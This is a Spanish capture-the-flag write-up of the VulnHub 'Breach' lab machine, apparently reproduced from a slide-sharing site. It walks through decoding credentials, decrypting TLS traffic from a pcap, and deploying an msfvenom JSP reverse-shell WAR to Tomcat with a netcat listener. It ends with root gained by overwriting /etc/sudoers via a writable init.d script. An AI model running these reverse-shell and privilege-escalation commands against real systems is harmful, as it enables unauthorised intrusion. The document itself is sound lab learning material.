solucion reto breach

13
Me he picado con esto de los retos, así que he decidido buscar otra máquina para darle cera. En este caso la máquina se llama Breach y es el mismo formato, un OVA que puedes montar rápidamente en VirtualBox. Lo primero que nos dice en el fichero “readme” es que la máquina ya viene con una IP prefijada y que debes ponerla en host only (“adaptador solo anfitrión” en VirtualBox si está en castellano) y obviamente, lo mismo para la máquina que uses para atacar. En mi caso una Kali en la que configuro así. ifconfig eth0 192.168.110.141 netmask 255.255.255.0 Y hago un ping a la IP de la máquina breach para ver que existe comunicación. Pues ya podemos empezar. Lo primero siempre es lanzar un nmap para ver que puertos tiene abiertos y que servicios corriendo. La máquina tiene abiertos chopocientosmil puertos -de hecho se ha pegado más de 20 min escaneando- pero veo que el puerto 80 está disponible… veamos que esconde xD.

Upload: roberto-garcia-amoriz

Post on 19-Jan-2017

21 views

Category:

Technology


0 download

TRANSCRIPT

Page 1: Solucion reto breach

Me he picado con esto de los retos, así que he decidido buscar otra máquina para darle cera.

En este caso la máquina se llama Breach y es el mismo formato, un OVA que puedes montar

rápidamente en VirtualBox.

Lo primero que nos dice en el fichero “readme” es que la máquina ya viene con una IP

prefijada y que debes ponerla en host only (“adaptador solo anfitrión” en VirtualBox si está en

castellano) y obviamente, lo mismo para la máquina que uses para atacar. En mi caso una Kali

en la que configuro así.

ifconfig eth0 192.168.110.141 netmask 255.255.255.0

Y hago un ping a la IP de la máquina breach para ver que existe comunicación.

Pues ya podemos empezar.

Lo primero siempre es lanzar un nmap para ver que puertos tiene abiertos y que servicios

corriendo.

La máquina tiene abiertos chopocientosmil puertos -de hecho se ha pegado más de 20 min

escaneando- pero veo que el puerto 80 está disponible… veamos que esconde xD.

Page 2: Solucion reto breach

Lo que sale es un señor tomando una kaipirinha o algo similar y un texto que nos dice,

resumiendo, que la empresa Initech ha sido comprometida y un empleado descontento les ha

dejado un regalito.

Si miramos como de costumbre el código, en rojo veo una cadena que me llama

poderosamente la atención.

Vamos a pasarla por el decoder de base64 de Burp a ver que nos devuelve.

Estaba “doblemente encodeado”, pero al final aparece algo, tiene pinta de ser un juego de

usuario contraseña.

pgibbons:damnitfeel$goodtobeagang$ta

Seguimos con las buenas costumbres y le damos caña con el spider. Y resulta que vamos

encontrando cosas.

De momento tenemos un frontal con un cms en el que existe un login. Probemos por si acaso

con las credenciales que hemos obtenido.

Pues parece que ha habido suerte a la primera, estamos dentro. En la siguiente imagen se

puede ver que hay 3 mensajes. Vamos a ver si arrojan algo de luz.

Page 3: Solucion reto breach

Pues esta vez estoy teniendo suerte. Accedo a la ruta que comenta el colega y…

Tenemos un fichero descargado y por lo que dice el correo parece ser que es un certificado.

Vuelvo a mirar los correos y veo uno que me hace gracia…

Pinchando en “banners” en el menú de la izquierda, me encuentro con un listado de

directorios.

Pues nada, nos toca ir abriendo uno a uno a ver que podemos sacar. Vistos todos, a priori

parece que no hay nada importante, no obstante me quedo con la ruta por si hubiese que

volver. Como nota, sabemos que corre un Apache 2.4.7 xD.

http://192.168.110.140/impresscms/modules/banners/

Lo mismo me ocurre al acceder a “profile”.

Page 4: Solucion reto breach

Me topo con una ruta en la que puedo descargar un fichero .swf (flash) y que obviamente me

guardo por si acaso.

Tras probar a abrir el fichero y a pasarlo a otros formatos de video sin éxito (parece que o está

corrupto o no es en realidad un .swf) decido dejarlo de momento para no perder más tiempo.

Sigo buscando y abriendo todos los links que veo, hasta que encuentro un fichero en el perfil

de Peter.

Page 5: Solucion reto breach

Al entrar me da acceso a un fichero .pcap que descargo.

Si leemos el correo nos dice que no puede leer el .pcap a pesar de sus conocimientos de C|EH

jajaja…

Al abrir el fichero .pac con Wireshark, lo único que se ve es mogollón de datos cifrados.

Está claro que el contenido está cifrado y que el fichero que descargamos al princio es la key.

En este punto me vuelvo bastante loco porque no sé cómo seguir, así que a buscar info en

google de como importar a wireshark el certificado.

Resulta que el fichero descargado es un repositorio de certificados de seguridad en Java… no

comment xD.

Después de mucho, pero mucho buscar, encuentro un artículo -en perfecto inglés- de cómo

hacer el proceso (esto de nivel medio no tiene nada xD). En realidad no de cómo hacer el

proceso, si no de la herramienta necesaria para que puedas hacerlo. Después de leer el manual

de la herramienta keytool y probar 84.976 veces, di con ello.

Page 6: Solucion reto breach

keytool -importkeystore -srckeystore keystore -destkeystore keystore.p12 -deststoretype

PKCS12 -srcalias tomcat -deststorepass tomcat -destkeypass tomcat

La contraseña es tomcat, ya nos daba la respuesta en el mail jeje.

Total, que todo esto solo era para crea un fichero .p12 y ahora tenemos que sacar el

certificado. Ea, a buscar otro rato en google.

Después de más de dos horas investigando y probando comandos en la consola, el resultado es

este.

keytool -importkeystore -srckeystore keystore -destkeystore keystore.p12 -deststoretype

PKCS12 -srcalias tomcat -deststorepass tomcat -destkeypass tomcat (pass: tomcat)

openssl pkcs12 -in keystore.p12 -out key.pem (en todas las preguntas pass: tomcat)

Ahora sí, volvemos a abrir Wireskhar, cargamos el .pcap y vamos a “edit -> preferences ->

protocols -> ssl y ahí agregamos el certificado con los parámetros que vemos en la imagen.

Page 7: Solucion reto breach

Seguro que desde Wireshark se pueden ver las credenciales, pero ahora no atino y tardo

menos haciéndolo desde Burp.

Hemos visto que aparece una ruta, /_M@nag3Me/html/ y unas credenciales:

tomcat:Tt\5D8F(#!*u=G)4m7zB

Voy a verificar que hay en ese puerto, aunque ya con la ruta creo que queda claro.

Revisando Wireskhark veo otro paquete que me llama la atención.

Y viendo la respuesta del servidor, me da la impresión de que ha habido una subida de

webshell y una ejecución de comandos. No soy un experto, pero a las pruebas me remito xD.

Page 8: Solucion reto breach

Me ha costado bastante llegar hasta aquí, de hecho mucho más de lo que esperaba, me ha

retrasado muchísimo la parte del certificado, hay que darle un 10 al creador de la máquina.

Si accedo a https://192.168.110.140:8443/_M@nag3Me/html/ me salta un login. Vamos a

probar a meter el juego de user/password que he obtenido con WiresHark.

Otra vez atascado , estoy más perdido que un cangrejo una pista de tenis. Llegado este

punto estoy por tirar la toalla y pasar de esta máquina, llevo muchas horas perdidas y no sé

qué hacer… Quizá si los atacantes subieron una webshell yo podría hacer lo mismo. Manos a la

obra. Esta vez uso Burp con la extensión CO2 para crear una webshell para subirla al Tomcat.

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.110.142 LPORT=2222 -f war >

shellok.war

Una vez que la tenemos creada, debemos subirla a la parte de tomcat que cogimos con

Wireshark. Una vez allí, en la parte que pone “WAR file to deploy” le damos a browse, vamos

al directorio donde hemos creado la webshell y le damos a aceptar y a “deploy”. Podemos

verlo en la siguiente imagen.

Page 9: Solucion reto breach

Automáticamente nos la “arranca” (si nos fijamos en la imagen anterior, se ve que “start” no

está subrayado). Vamos a la máquina Kali y lo ejecutamos netcat con los parámetros -lvp. Se

quedará esperando y solo nos queda llamarla desde IP/shellok.

Bien, pues ya tenemos la webshell funcionando. Veamos qué podemos hacer. De momento,

igual que hicieron los atacantes, ejecutamos el comando “id” y vemos lo siguiente.

Como hicimos en la máquina de Mr Robot, nos hacemos una Shell “mejorada”.

Se supone que podré escalar privilegios con la cuenta de “blumberg” o con la de “milton”, pero

claro, donde está la contraseña… De nuevo estoy perdido, llevo demasiadas horas con esta

máquina como para dejarlo ahora, así que lo mejor será repasar otra vez todo desde el

principio. Y es que cuando abrí por primera vez la web por la IP 192.168.110.140 lo único que

había era la imagen del colega en la playa. Entonces me vino la luz y se me ocurrió que quizá

hubiese algún tipo de información en la imagen a modo de stegano.

Page 10: Solucion reto breach

Mi gozo en un pozo!! Que leches pasa aquí, que me estoy dejando?? Revisemos el código de la

página principal.

Si es que no hay nada como leer! Lo tenía delante de mis ojos.

Revisando cada link, lo único que se ven son dos imágenes, la vuelta a la web principal y el

acceso a CMS.

¿Será la contraseña el nombre de la grapadora? Demasiado fácil, veamos.

Como suponía no hay nada… probaré de nuevo las imágenes con “exiftool”

Page 11: Solucion reto breach

Pues nada, ni la una ni la otra, esto ya roza lo irracional xD.

Mierda! Resulta que pinchando en la imagen de http://192.168.110.140/initech.html aparece

otra imagen. ¿Será esta?

Tiene buena pinta, esta tiene un comentario con la palabra “coffeestains”. Vamos a probarlo

con las cuentas a ver…

Ohhhhhhhhh si!!!!

Veamos qué es lo último que hizo el usuario

Page 12: Solucion reto breach

Veamos que tiene el script.

Pues parece que borra la información cada 3 minutos. Vamos a ver que hay en la carpeta

Después de mirar a fondo todos los directorios y sus ficheros creo que no hay nada que

merezca la pena. Madre mía, esto es desesperante, voy a ver si puedo acceder con el otro

usuario por si hubiese algo que ver.

Pues nada, después de probar las contraseñas que he obtenido, no tengo nada. Veamos que

hay corriendo en la máquina con un ps aux por si revelase algo.

Lo único que me llama la atención y que pueda cuadrar es el servicio de mysql. Después de

probar de nuevo todas las credenciales y palabras que se me han ocurrido, el gato ha pasado

por encima del teclado y resulta que no tiene contraseña (el mismo gato que pisa siempre la

comilla xD).

Gracias a mi querido Mario y sus clases de mysql con una pequeña consulta…

Qué fácil es todo cuando estás dentro del motor de la bases de datos jeje.

Ya tenemos la pass hasheada de milton: 6450d89bd3aff1d893b85d3ad65d2ec2

Page 13: Solucion reto breach

Crakeamos ese hash (md5) y obtenemos como resultado “thelaststraw”

Resulta que milton es miembro del grupo “adm” y rebuscando en modo desesperación “ON”

encontré un script que se ejecuta en el “init.d” y el usuario milton es capaz de escribirlo.

Gracias a mi compañero Rodri que me dijo como poder escribir dentro. Con:

echo "echo 'milton ALL=(ALL) ALL' > /etc/sudoers" > /etc/init.d/portly.sh

Nos convertimos en root. He de reconocer que en esta parte hice una pequeña trampa, tuve

que reiniciar la máquina de manera manual porque desde la kali era incapaz.

Una vez reiniciada la máquina, y ya estando milton en el fichero sudoers, nos hacemos root

con “sudo su”.

El final ha sido lo más fácil, para encontrar el flag solo tenías que hacer un ls -lha y un cat al

fichero “.flag.txt”. El problema ha sido llegar aquí xD.

Agradecimientos:

A Rodri por darme luz cuando estaba a punto de dejarlo.

Al creador de la máquina @mrb3n813 (aunque no sé si darle una abrazo o 2 yoyas xD).

Enlaces de ayuda:

https://www.vulnhub.com/entry/breach-1,152/

https://pentestlab.wordpress.com/2012/08/26/using-metasploit-to-create-a-war-backdoor/

https://www.tbs-certificates.co.uk/FAQ/en/627.html#volet

http://packetpushers.net/using-wireshark-to-decode-ssltls-packets/

*Nota: Para mi esta máquina ha sido muy muy difícil, eso sí, lo que he aprendido en

consecuencia, creo que merece la pena xD.